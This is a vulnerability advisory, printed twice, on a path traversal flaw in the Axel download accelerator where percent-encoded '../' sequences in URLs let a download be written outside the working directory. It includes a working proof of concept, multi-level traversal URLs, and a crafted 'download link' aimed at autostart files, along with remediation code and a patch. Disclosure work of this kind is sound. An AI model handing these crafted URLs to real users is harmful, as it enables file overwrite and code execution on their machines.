OCD-2026-008 — Path Traversal via URL Filename Decoding
Summary
| Field |
Value |
| Product |
Axel Download Accelerator |
| Version |
≤ 2.17.14 (all versions) |
| Component |
src/axel.c — axel_new() / src/http.c — http_decode() |
| CWE |
CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) |
| CVSS 3.1 |
7.5 (High) — AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H |
| Impact |
Arbitrary file write (confirmed); may lead to code execution depending on context |
| Reporter |
Guillaume Meunier — Orange Cyberdefense VOC Team |
| Date |
2026-02-28 |
| Status |
Confirmed — arbitrary file write reproduced |
Description
Axel performs URL percent-decoding (http_decode()) on the output filename after the URL has been parsed and the filename component extracted. This allows an attacker to embed %2e%2e%2f (URL-encoded ../) sequences in the URL path. These sequences survive the URL parser intact (they contain no literal / characters) but are decoded into directory traversal sequences before the output file is opened for writing.
As a result, a crafted URL can cause axel to write downloaded content to arbitrary filesystem paths relative to the current working directory.
Root Cause
The vulnerability arises from the ordering of two operations:
Step 1 — URL parsing (conn_set(), src/conn.c:93-116):
The URL is split on literal / characters. For the URL http://evil.com/%2e%2e%2ftest, the parser sees no real slashes in the filename portion, so conn->file = "%2e%2e%2ftest".
i = strrchr(conn->dir, '/');
strlcpy(conn->file, i + 1, sizeof(conn->file));
Step 2 — Percent-decode applied AFTER extraction (axel_new(), src/axel.c:187-188):
strlcpy(axel->filename, axel->conn[0].file, sizeof(axel->filename));
http_decode(axel->filename);
// axel->filename is now "../test" — directory traversal
Step 3 — File opened without path validation (axel_open(), src/axel.c):
axel->outfd = open(axel->filename, O_CREAT|O_WRONLY|O_TRUNC, 0666);
// Opens "../test" — writes outside intended directory
Note: The separate http_filename() function (Content-Disposition handling) does replace % with _, which would block this attack. However, http_filename() is only used when the server sends a Content-Disposition header. When no such header is present (the default), the URL-derived filename is used without equivalent sanitization.
Proof of Concept
Minimal reproduction (no malicious server required — any HTTP server works):
# Start a simple HTTP server serving an arbitrary file
echo "ARBITRARY CONTENT" > /tmp/served.txt
cd /tmp && python3 -m http.server 8888 &
# Create a working directory and download with path traversal
mkdir -p /tmp/testdir/subdir && cd /tmp/testdir/subdir
axel 'http://127.0.0.1:8888/%2e%2e%2fpwned.txt'
Result:
Initializing download: http://127.0.0.1:8888/%2e%2e%2fpwned.txt
Opening output file ../pwned.txt ← PATH TRAVERSAL
Downloaded XXX byte(s)
The file pwned.txt is written to /tmp/testdir/ (parent directory) instead of /tmp/testdir/subdir/ (current directory).
Multi-level traversal:
cd /tmp/a/b/c/d
axel 'http://127.0.0.1:8888/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2ftmp%2fpwned.txt'
# axel opens: ../../../../tmp/pwned.txt
# File written to /tmp/pwned.txt
Reproduction
| Parameter |
Value |
| OS |
Ubuntu 25.10 (x86_64) |
| Compiler |
GCC 15.1.0 |
| Commit |
b1b8c2fc67eef61d421a61699eaed46efcdb97d5 (2025-02-03) |
| Build |
./configure --without-ssl && make |
| Server |
Any HTTP server returning 200 OK (e.g., python3 -m http.server) |
Impact Assessment
| Scenario |
Status |
Notes |
| Arbitrary file write |
Confirmed |
Files written to attacker-controlled relative path |
| Overwrite sensitive files |
Confirmed |
Any file writable by the user can be targeted |
| Code execution |
Possible |
Depends on context — overwriting shell configuration files, SSH authorized_keys, cron jobs, or executables in $PATH would lead to code execution. Requires the victim to run axel with a crafted URL (UI:R). |
Social engineering vector: An attacker distributes a "download link" containing %2e%2e%2f sequences. The URL-encoding is not immediately obvious to casual inspection:
axel http://releases.example.com/v2.1/%2e%2e%2f%2e%2e%2f.config%2fautostart%2fupdate
Remediation
Option 1: Decode before splitting (recommended)
Apply http_decode() to the full URL path before splitting into directory and filename components in conn_set(). This way, decoded / characters are handled by the normal path parser.
Option 2: Sanitize after decode
// In axel_new(), after http_decode():
strlcpy(axel->filename, axel->conn[0].file, sizeof(axel->filename));
http_decode(axel->filename);
// Enforce basename-only: strip any directory component
char *slash = strrchr(axel->filename, '/');
if (slash)
memmove(axel->filename, slash + 1, strlen(slash + 1) + 1);
slash = strrchr(axel->filename, '\\');
if (slash)
memmove(axel->filename, slash + 1, strlen(slash + 1) + 1);
// Reject . and .. explicitly
if (strcmp(axel->filename, ".") == 0 || strcmp(axel->filename, "..") == 0
|| strstr(axel->filename, "..")) {
fprintf(stderr, "Invalid filename (path traversal rejected)\n");
axel->ready = -1;
return axel;
}
// Reject control characters
for (char *p = axel->filename; *p; p++) {
if ((unsigned char)*p < 0x20) {
fprintf(stderr, "Invalid character in filename\n");
axel->ready = -1;
return axel;
}
}
Suggested Patch
--- a/src/axel.c
+++ b/src/axel.c
@@ -187,6 +187,18 @@ axel_new(conf_t *conf, int count, const search_t *res)
strlcpy(axel->filename, axel->conn[0].file, sizeof(axel->filename));
http_decode(axel->filename);
+ /* Sanitize: enforce basename-only after decode (CVE-TBD) */
+ {
+ char *sep = strrchr(axel->filename, '/');
+ if (!sep)
+ sep = strrchr(axel->filename, '\\');
+ if (sep)
+ memmove(axel->filename, sep + 1, strlen(sep + 1) + 1);
+ if (!*axel->filename || strstr(axel->filename, "..")) {
+ fprintf(stderr, _("Unsafe filename rejected\n"));
+ axel->ready = -1;
+ return axel;
+ }
+ }
+
if ((s = strchr(axel->filename, '?')) != NULL &&
axel->conf->strip_cgi_parameters)
*s = 0; /* Get rid of CGI parameters */
OCD-2026-008 — Path Traversal via URL Filename Decoding
Summary
src/axel.c—axel_new()/src/http.c—http_decode()Description
Axel performs URL percent-decoding (
http_decode()) on the output filename after the URL has been parsed and the filename component extracted. This allows an attacker to embed%2e%2e%2f(URL-encoded../) sequences in the URL path. These sequences survive the URL parser intact (they contain no literal/characters) but are decoded into directory traversal sequences before the output file is opened for writing.As a result, a crafted URL can cause axel to write downloaded content to arbitrary filesystem paths relative to the current working directory.
Root Cause
The vulnerability arises from the ordering of two operations:
Step 1 — URL parsing (
conn_set(), src/conn.c:93-116):The URL is split on literal
/characters. For the URLhttp://evil.com/%2e%2e%2ftest, the parser sees no real slashes in the filename portion, soconn->file="%2e%2e%2ftest".Step 2 — Percent-decode applied AFTER extraction (
axel_new(), src/axel.c:187-188):Step 3 — File opened without path validation (
axel_open(), src/axel.c):Note: The separate
http_filename()function (Content-Disposition handling) does replace%with_, which would block this attack. However,http_filename()is only used when the server sends aContent-Dispositionheader. When no such header is present (the default), the URL-derived filename is used without equivalent sanitization.Proof of Concept
Minimal reproduction (no malicious server required — any HTTP server works):
Result:
The file
pwned.txtis written to/tmp/testdir/(parent directory) instead of/tmp/testdir/subdir/(current directory).Multi-level traversal:
Reproduction
b1b8c2fc67eef61d421a61699eaed46efcdb97d5(2025-02-03)./configure --without-ssl && makepython3 -m http.server)Impact Assessment
$PATHwould lead to code execution. Requires the victim to runaxelwith a crafted URL (UI:R).Social engineering vector: An attacker distributes a "download link" containing
%2e%2e%2fsequences. The URL-encoding is not immediately obvious to casual inspection:Remediation
Option 1: Decode before splitting (recommended)
Apply
http_decode()to the full URL path before splitting into directory and filename components inconn_set(). This way, decoded/characters are handled by the normal path parser.Option 2: Sanitize after decode
Suggested Patch